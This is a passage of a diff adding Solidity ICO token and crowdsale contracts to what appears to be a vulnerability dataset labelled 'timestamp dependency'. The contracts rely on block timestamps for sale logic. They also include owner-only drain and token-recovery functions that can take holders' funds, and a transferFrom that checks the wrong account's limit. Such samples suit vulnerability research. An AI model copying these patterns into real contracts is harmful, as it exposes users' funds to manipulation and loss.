+ + uint256 decimalAmount = amount.mul(uint(10)**decimals); + totalSupply_ = totalSupply_.add(decimalAmount); + balances[msg.sender] = balances[msg.sender].add(decimalAmount); + emit Transfer(address(0), msg.sender, decimalAmount); + } + + function purchase() public canPurchase payable returns(bool success) { + require(msg.sender != address(0)); + Member storage memberRecord = members[msg.sender]; + Group storage openGroup = groups[openGroupNumber]; + require(openGroup.ratio > 0); + uint256 currentTimestamp = block.timestamp; + require(currentTimestamp >= openGroup.startTime && currentTimestamp <= openGroup.deadline); + require(!openGroup.distributing && !openGroup.distributed); + require(tx.gasprice <= maxGasPrice); + uint256 weiAmount = msg.value; + require(weiAmount >= 0.1 ether); + uint256 weiTotal = openGroup.weiTotal.add(weiAmount); + require(weiTotal <= openGroup.cap); + uint256 userWeiTotal = memberRecord.weiBalance[openGroupNumber].add(weiAmount); + if(currentTimestamp <= openGroup.phase1endTime){ + emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, true); + return true; + } else if (currentTimestamp <= openGroup.phase2endTime) { + require(userWeiTotal <= openGroup.max2); + emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false); + return true; + } else { + require(userWeiTotal <= openGroup.max3); + emit WantsToPurchase(msg.sender, weiAmount, openGroupNumber, false); + return true; + } + } + + function purchaseCallback(string uploadedData) public onlyOracleBackend returns(bool success) { + + strings.slice memory uploadedSlice = uploadedData.toSlice(); + strings.slice memory nextRecord = "".toSlice(); + strings.slice memory nextDatum = "".toSlice(); + strings.slice memory recordSeparator = "|".toSlice(); + strings.slice memory datumSeparator = ":".toSlice(); + uint256 amountForOwner = 0; + while (!uploadedSlice.empty()) { + nextRecord = uploadedSlice.split(recordSeparator); + nextDatum = nextRecord.split(datumSeparator); + uint256 accepted = parseInt(nextDatum.toString(), 0); + nextDatum = nextRecord.split(datumSeparator); + address theAddress = parseAddr(nextDatum.toString()); + if (accepted > 0) { + Member storage memberRecord = members[theAddress]; + nextDatum = nextRecord.split(datumSeparator); + uint256 weiAmount = parseInt(nextDatum.toString(), 0); + amountForOwner = amountForOwner.add(weiAmount); + nextDatum = nextRecord.split(datumSeparator); + uint256 groupNumber = parseInt(nextDatum.toString(), 0); + Group storage theGroup = groups[groupNumber]; + uint256 tokenAmount = weiAmount.mul(theGroup.ratio); + theGroup.weiTotal = theGroup.weiTotal.add(weiAmount); + memberRecord.weiBalance[groupNumber] = memberRecord.weiBalance[groupNumber].add(weiAmount); + memberRecord.tokenBalance[groupNumber] = memberRecord.tokenBalance[groupNumber].add(tokenAmount); + balances[owner] = balances[owner].sub(tokenAmount); + if (!memberRecord.exists) { + allMembers.push(theAddress); + memberRecord.exists = true; + if (balances[theAddress] > 0) { + memberRecord.transferred = -int(balances[theAddress]); + } + } + } else { + if (penalty >= weiAmount) { + amountForOwner = amountForOwner.add(penalty); + weiAmount = weiAmount.sub(penalty); + } + if (address(this).balance >= weiAmount) { + theAddress.transfer(weiAmount); + } + } + if (internalGetHowMuchUntilHardCap(groupNumber) <= 100 ether) { + emit NearingHardCap(groupNumber, internalGetHowMuchUntilHardCap(groupNumber)); + } + if (theGroup.weiTotal == theGroup.cap) { + emit ReachedHardCap(groupNumber); + } + } + if (address(this).balance >= amountForOwner) { + owner.transfer(amountForOwner); + } + return true; + } + + function drain() public onlyOwner { + owner.transfer(address(this).balance); + } + + function setPenalty(uint256 newPenalty) public onlyOwner returns(bool success) { + penalty = newPenalty; + return true; + } + + function sell(uint256 amount) public canSell { + uint256 decimalAmount = amount.mul(uint(10)**decimals); + Member storage theMember = members[msg.sender]; + if (theMember.exists) { + int256 sellValue = theMember.transferred + int(decimalAmount); + require(sellValue >= theMember.transferred); + require(sellValue <= int(getUnlockedBalanceLimit(msg.sender))); + theMember.transferred = sellValue; + } + balances[msg.sender] = balances[msg.sender].sub(decimalAmount); + + uint256 totalCost = amount.mul(sellPrice); + require(address(this).balance >= totalCost); + balances[owner] = balances[owner].add(decimalAmount); + msg.sender.transfer(totalCost); + emit Transfer(msg.sender, owner, decimalAmount); + } + + function fundContract() public onlyOwner payable { + } + + function setSellPrice(uint256 thePrice) public onlyOwner { + sellPrice = thePrice; + emit SetSellPrice(sellPrice); + } + + function setAllowedToSell(bool value) public onlyOwner { + allowedToSell = value; + emit ChangedAllowedToSell(allowedToSell); + } + + function setAllowedToPurchase(bool value) public onlyOwner { + allowedToPurchase = value; + emit ChangedAllowedToPurchase(allowedToPurchase); + } + + function createGroup(uint256 startEpoch, uint256 phase1endEpoch, uint256 phase2endEpoch, uint256 deadlineEpoch, uint256 phase2cap, uint256 phase3cap, uint256 etherCap, uint256 ratio) public onlyOwner returns (bool success, uint256 createdGroupNumber) { + Group storage theGroup = groups[nextGroupNumber]; + theGroup.startTime = startEpoch; + theGroup.phase1endTime = phase1endEpoch; + theGroup.phase2endTime = phase2endEpoch; + theGroup.deadline = deadlineEpoch; + theGroup.max2 = phase2cap; + theGroup.max3 = phase3cap; + theGroup.cap = etherCap; + theGroup.ratio = ratio; + createdGroupNumber = nextGroupNumber; + nextGroupNumber++; + success = true; + emit GroupCreated(createdGroupNumber, startEpoch, phase1endEpoch, phase2endEpoch, deadlineEpoch, phase2cap, phase3cap, etherCap, ratio); + } + + function createGroup() public onlyOwner returns (bool success, uint256 createdGroupNumber) { + return createGroup(0, 0, 0, 0, 0, 0, 0, 0); + } + + function getGroup(uint256 groupNumber) public view returns(bool distributed, bool unlocked, uint256 phase2cap, uint256 phase3cap, uint256 cap, uint256 ratio, uint256 startTime, uint256 phase1endTime, uint256 phase2endTime, uint256 deadline, uint256 weiTotal, uint256 howManyDistributed) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + distributed = theGroup.distributed; + unlocked = theGroup.unlocked; + phase2cap = theGroup.max2; + phase3cap = theGroup.max3; + cap = theGroup.cap; + ratio = theGroup.ratio; + startTime = theGroup.startTime; + phase1endTime = theGroup.phase1endTime; + phase2endTime = theGroup.phase2endTime; + deadline = theGroup.deadline; + weiTotal = theGroup.weiTotal; + howManyDistributed = theGroup.howManyDistributed; + } + + function internalGetHowMuchUntilHardCap(uint256 groupNumber) internal view returns(uint256 remainder) { + return groups[groupNumber].cap.sub(groups[groupNumber].weiTotal); + } + + function getHowMuchUntilHardCap() public view returns(uint256 remainder) { + return internalGetHowMuchUntilHardCap(openGroupNumber); + } + + function getHowManyLeftToDistribute(uint256 groupNumber) public view returns(uint256 howManyLeftToDistribute) { + require(groupNumber < nextGroupNumber); + Group storage theGroup = groups[groupNumber]; + howManyLeftToDistribute = theGroup.howManyTotal - theGroup.howManyDistributed; + } + + function addMemberToGroup(address walletAddress, uint256 groupNumber) public onlyOwner returns(bool success) { + emit AddToGroup(walletAddress, groupNumber); + return true; + } + + function distribute(uint256 groupNumber, uint256 howMany) public onlyOwner { + Group storage theGroup = groups[groupNumber]; + require(groupNumber < nextGroupNumber && !theGroup.distributed); + emit WantsToDistribute(groupNumber, theGroup.howManyDistributed, theGroup.howManyDistributed + howMany); + } + + function distributeCallback(uint256 groupNumber, uint256 totalInGroup, address[] addresses) public onlyOracleBackend returns (bool success) { + Group storage theGroup = groups[groupNumber]; + theGroup.distributing = true; + uint256 n = addresses.length; + theGroup.howManyTotal = totalInGroup; + for (uint256 i = 0; i < n; i++) { + address memberAddress = addresses[i]; + Member storage currentMember = members[memberAddress]; + uint256 balance = currentMember.tokenBalance[groupNumber]; + if (balance > 0) { + balances[memberAddress] = balances[memberAddress].add(balance); + emit Transfer(owner, memberAddress, balance); + } + } + theGroup.howManyDistributed = theGroup.howManyDistributed.add(n); + if (theGroup.howManyDistributed == theGroup.howManyTotal) { + theGroup.distributed = true; + theGroup.distributing = false; + emit DistributeDone(groupNumber); + } + return true; + } + + function getUnlockedBalanceLimit(address walletAddress) internal view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + for (uint256 i = 0; i < nextGroupNumber; i++) { + if (groups[i].unlocked) { + balance = balance.add(theMember.tokenBalance[i]); + } + } + return balance; + } + + function getUnlockedTokens(address walletAddress) public view returns(uint256 balance) { + Member storage theMember = members[walletAddress]; + if (!theMember.exists) { + return balances[walletAddress]; + } + return uint256(int(getUnlockedBalanceLimit(walletAddress)) - theMember.transferred); + } + + function unlock(uint256 groupNumber) public onlyOwner returns (bool success) { + Group storage theGroup = groups[groupNumber]; + require(theGroup.distributed); + theGroup.unlocked = true; + emit UnlockDone(groupNumber); + return true; + } + + function setTransferLock(bool value) public onlyOwner { + transferLock = value; + emit ChangedTransferLock(transferLock); + } + + function burn(uint256 amount) public onlyOwner { + + + balances[msg.sender] = balances[msg.sender].sub(amount); + totalSupply_ = totalSupply_.sub(amount); + emit Transfer(msg.sender, address(0), amount); + } + + function splitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 increaseSupplyBy = ownerBalance.mul(splitFactor).sub(ownerBalance); + balances[msg.sender] = balances[msg.sender].mul(splitFactor); + totalSupply_ = totalSupply_.mul(splitFactor); + emit Transfer(address(0), msg.sender, increaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred * int(splitFactor); + + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 multiplier = memberBalance.mul(splitFactor); + currentMember.tokenBalance[j] = multiplier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.mul(splitFactor); + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensBeforeDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + + uint256 n = allMembers.length; + uint256 ownerBalance = balances[msg.sender]; + uint256 decreaseSupplyBy = ownerBalance.sub(ownerBalance.div(splitFactor)); + + totalSupply_ = totalSupply_.div(splitFactor); + balances[msg.sender] = ownerBalance.div(splitFactor); + + emit Transfer(msg.sender, address(0), decreaseSupplyBy); + for (uint256 i = 0; i < n; i++) { + Member storage currentMember = members[allMembers[i]]; + + currentMember.transferred = currentMember.transferred / int(splitFactor); + for (uint256 j = 0; j < nextGroupNumber; j++) { + uint256 memberBalance = currentMember.tokenBalance[j]; + uint256 divier = memberBalance.div(splitFactor); + currentMember.tokenBalance[j] = divier; + } + } + + n = nextGroupNumber; + require(n > 0); + for (i = 0; i < n; i++) { + Group storage currentGroup = groups[i]; + currentGroup.ratio = currentGroup.ratio.div(splitFactor); + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function splitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + splitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 multiplier1 = memberBalance.mul(splitFactor); + uint256 increaseMemberSupplyBy = multiplier1.sub(memberBalance); + balances[currentMember] = multiplier1; + emit Transfer(address(0), currentMember, increaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 multiplier2 = nonMemberBalance.mul(splitFactor); + uint256 increaseNonMemberSupplyBy = multiplier2.sub(nonMemberBalance); + balances[currentNonMember] = multiplier2; + emit Transfer(address(0), currentNonMember, increaseNonMemberSupplyBy); + } + } + emit SplitTokens(splitFactor); + return true; + } + + function reverseSplitTokensAfterDistribution(uint256 splitFactor) public onlyOwner returns (bool success) { + reverseSplitTokensBeforeDistribution(splitFactor); + uint256 n = allMembers.length; + for (uint256 i = 0; i < n; i++) { + address currentMember = allMembers[i]; + uint256 memberBalance = balances[currentMember]; + if (memberBalance > 0) { + uint256 divier1 = memberBalance.div(splitFactor); + uint256 decreaseMemberSupplyBy = memberBalance.sub(divier1); + balances[currentMember] = divier1; + emit Transfer(currentMember, address(0), decreaseMemberSupplyBy); + } + } + n = allNonMembers.length; + for (i = 0; i < n; i++) { + address currentNonMember = allNonMembers[i]; + + if (members[currentNonMember].exists) { + continue; + } + uint256 nonMemberBalance = balances[currentNonMember]; + if (nonMemberBalance > 0) { + uint256 divier2 = nonMemberBalance.div(splitFactor); + uint256 decreaseNonMemberSupplyBy = nonMemberBalance.sub(divier2); + balances[currentNonMember] = divier2; + emit Transfer(currentNonMember, address(0), decreaseNonMemberSupplyBy); + } + } + emit ReverseSplitTokens(splitFactor); + return true; + } + + function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[msg.sender]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && msg.sender != owner) { + bool fromTransferee = nonMemberTransfers[msg.sender]; + if (!fromTransferee) { + nonMemberTransfers[msg.sender] = true; + allNonMembers.push(msg.sender); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) canTransfer returns (bool success) { + + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 transferValue = fromMember.transferred + int(_value); + require(transferValue >= fromMember.transferred); + require(transferValue <= int(getUnlockedBalanceLimit(msg.sender))); + fromMember.transferred = transferValue; + } + + + if (!fromMember.exists && _from != owner) { + bool fromTransferee = nonMemberTransfers[_from]; + if (!fromTransferee) { + nonMemberTransfers[_from] = true; + allNonMembers.push(_from); + } + } + if (!members[_to].exists && _to != owner) { + bool toTransferee = nonMemberTransfers[_to]; + if (!toTransferee) { + nonMemberTransfers[_to] = true; + allNonMembers.push(_to); + } + } else if (members[_to].exists) { + int256 transferInValue = members[_to].transferred - int(_value); + require(transferInValue <= members[_to].transferred); + members[_to].transferred = transferInValue; + } + return super.transferFrom(_from, _to, _value); + } + + function setOpenGroup(uint256 groupNumber) public onlyOwner returns (bool success) { + require(groupNumber < nextGroupNumber); + openGroupNumber = groupNumber; + return true; + } + + function getUndistributedBalanceOf(address walletAddress, uint256 groupNumber) public view returns (uint256 balance) { + Member storage theMember = members[walletAddress]; + require(theMember.exists); + if (groups[groupNumber].distributed) + return 0; + return theMember.tokenBalance[groupNumber]; + } + + function checkMyUndistributedBalance(uint256 groupNumber) public view returns (uint256 balance) { + return getUndistributedBalanceOf(msg.sender, groupNumber); + } + + function transferRecovery(address _from, address _to, uint256 _value) public onlyOwner returns (bool success) { + + allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value); + Member storage fromMember = members[_from]; + if (fromMember.exists) { + int256 oldTransferred = fromMember.transferred; + fromMember.transferred -= int(_value); + require(oldTransferred >= fromMember.transferred); + } + return transferFrom(_from, _to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6403.sol b/smart_contract_dataset/timestamp dependency/6403.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6403.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + + + if(startsAt >= endsAt) { + throw; + } + + + minimumFundingGoal = _minimumFundingGoal; + + isUpdatable = _isUpdatable; + + isWhiteListed = _isWhiteListed; + } + + + function() payable { + throw; + } + + + function investInternal(address receiver, uint128 customerId) stopInEmergency private { + + + if(getState() == State.PreFunding) { + + throw; + } else if(getState() == State.Funding) { + + + if(isWhiteListed) { + if(!earlyParticipantWhitelist[receiver].status) { + throw; + } + } + } else { + + throw; + } + + uint weiAmount = msg.value; + + + uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); + + if(tokenAmount == 0) { + + throw; + } + + if(isWhiteListed) { + if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { + + throw; + } + + + if (isBreakingInvestorCap(receiver, tokenAmount)) { + throw; + } + + updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); + } else { + if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { + throw; + } + } + + if(investedAmountOf[receiver] == 0) { + + investorCount++; + } + + + investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); + tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); + + + weiRaised = weiRaised.plus(weiAmount); + tokensSold = tokensSold.plus(tokenAmount); + + + if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { + throw; + } + + assignTokens(receiver, tokenAmount); + + + if(!multisigWallet.send(weiAmount)) throw; + + + Invested(receiver, weiAmount, tokenAmount, customerId); + } + + + function invest(address addr) public payable { + investInternal(addr, 0); + } + + + function buy() public payable { + invest(msg.sender); + } + + function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); + } + } + + function areReservedTokensDistributed() public constant returns (bool) { + return finalizeAgent.reservedTokensAreDistributed(); + } + + function canDistributeReservedTokens() public constant returns(bool) { + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; + return false; + } + + + function finalize() public inState(State.Success) onlyOwner stopInEmergency { + + + if(finalized) { + throw; + } + + + if(address(finalizeAgent) != address(0)) { + finalizeAgent.finalizeCrowdsale(); + } + + finalized = true; + } + + + function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { + assert(address(addr) != address(0)); + assert(address(finalizeAgent) == address(0)); + finalizeAgent = addr; + + + if(!finalizeAgent.isFinalizeAgent()) { + throw; + } + } + + + function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(maxCap > 0); + assert(minCap <= maxCap); + assert(now <= endsAt); + + if (!isAddressWhitelisted(addr)) { + whitelistedParticipants.push(addr); + Whitelisted(addr, status, minCap, maxCap); + } else { + WhitelistItemChanged(addr, status, minCap, maxCap); + } + + earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); + } + + function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { + if (!isWhiteListed) throw; + assert(now <= endsAt); + assert(addrs.length == statuses.length); + assert(statuses.length == minCaps.length); + assert(minCaps.length == maxCaps.length); + for (uint iterator = 0; iterator < addrs.length; iterator++) { + setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); + } + } + + function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { + if (!isWhiteListed) throw; + if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); + } + } + + function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { + if (!isWhiteListed) throw; + assert(addr != address(0)); + assert(now <= endsAt); + assert(isTierJoined(msg.sender)); + if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; + + uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; + newMaxCap = newMaxCap.minus(tokensBought); + earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); + } + + function isAddressWhitelisted(address addr) public constant returns(bool) { + for (uint i = 0; i < whitelistedParticipants.length; i++) { + if (whitelistedParticipants[i] == addr) { + return true; + break; + } + } + + return false; + } + + function whitelistedParticipantsLength() public constant returns (uint) { + return whitelistedParticipants.length; + } + + function isTierJoined(address addr) public constant returns(bool) { + return joinedCrowdsaleState[addr].isJoined; + } + + function getTierPosition(address addr) public constant returns(uint8) { + return joinedCrowdsaleState[addr].position; + } + + function getLastTier() public constant returns(address) { + if (joinedCrowdsalesLen > 0) + return joinedCrowdsales[joinedCrowdsalesLen - 1]; + else + return address(0); + } + + function setJoinedCrowdsales(address addr) private onlyOwner { + assert(addr != address(0)); + assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); + assert(!isTierJoined(addr)); + joinedCrowdsales.push(addr); + joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ + isJoined: true, + position: joinedCrowdsalesLen + }); + joinedCrowdsalesLen++; + } + + function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { + assert(addrs.length > 0); + assert(joinedCrowdsalesLen == 0); + assert(addrs.length <= joinedCrowdsalesLenMax); + for (uint8 iter = 0; iter < addrs.length; iter++) { + setJoinedCrowdsales(addrs[iter]); + } + } + + function setStartsAt(uint time) onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(time <= endsAt); + assert(now <= startsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + uint8 tierPosition = getTierPosition(this); + + + for (uint8 j = 0; j < tierPosition; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time >= crowdsale.endsAt()); + } + + startsAt = time; + StartsAtChanged(startsAt); + } + + + function setEndsAt(uint time) public onlyOwner { + assert(!finalized); + assert(isUpdatable); + assert(now <= time); + assert(startsAt <= time); + assert(now <= endsAt); + + CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); + if (lastTierCntrct.finalized()) throw; + + + uint8 tierPosition = getTierPosition(this); + + for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { + CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); + assert(time <= crowdsale.startsAt()); + } + + endsAt = time; + EndsAtChanged(endsAt); + } + + + function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { + assert(address(_pricingStrategy) != address(0)); + assert(address(pricingStrategy) == address(0)); + pricingStrategy = _pricingStrategy; + + + if(!pricingStrategy.isPricingStrategy()) { + throw; + } + } + + + function setMultisig(address addr) public onlyOwner { + + + if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { + throw; + } + + multisigWallet = addr; + } + + + function isMinimumGoalReached() public constant returns (bool reached) { + return weiRaised >= minimumFundingGoal; + } + + + function isFinalizerSane() public constant returns (bool sane) { + return finalizeAgent.isSane(); + } + + + function isPricingSane() public constant returns (bool sane) { + return pricingStrategy.isSane(address(this)); + } + + + function getState() public constant returns (State) { + if(finalized) return State.Finalized; + else if (address(finalizeAgent) == 0) return State.Preparing; + else if (!finalizeAgent.isSane()) return State.Preparing; + else if (!pricingStrategy.isSane(address(this))) return State.Preparing; + else if (block.timestamp < startsAt) return State.PreFunding; + else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; + else if (isMinimumGoalReached()) return State.Success; + else return State.Failure; + } + + + function isCrowdsale() public constant returns (bool) { + return true; + } + + + + + + + modifier inState(State state) { + if(getState() != state) throw; + _; + } + + + + + + + + function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken); + + function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken); + + + function isCrowdsaleFull() public constant returns (bool); + + + function assignTokens(address receiver, uint tokenAmount) private; +} + + + + + + + + + + + + + + + +contract StandardToken is ERC20, SafeMath { + + + event Minted(address receiver, uint amount); + + + mapping(address => uint) balances; + + + mapping (address => mapping (address => uint)) allowed; + + + function isToken() public constant returns (bool weAre) { + return true; + } + + function transfer(address _to, uint _value) returns (bool success) { + balances[msg.sender] = safeSub(balances[msg.sender], _value); + balances[_to] = safeAdd(balances[_to], _value); + Transfer(msg.sender, _to, 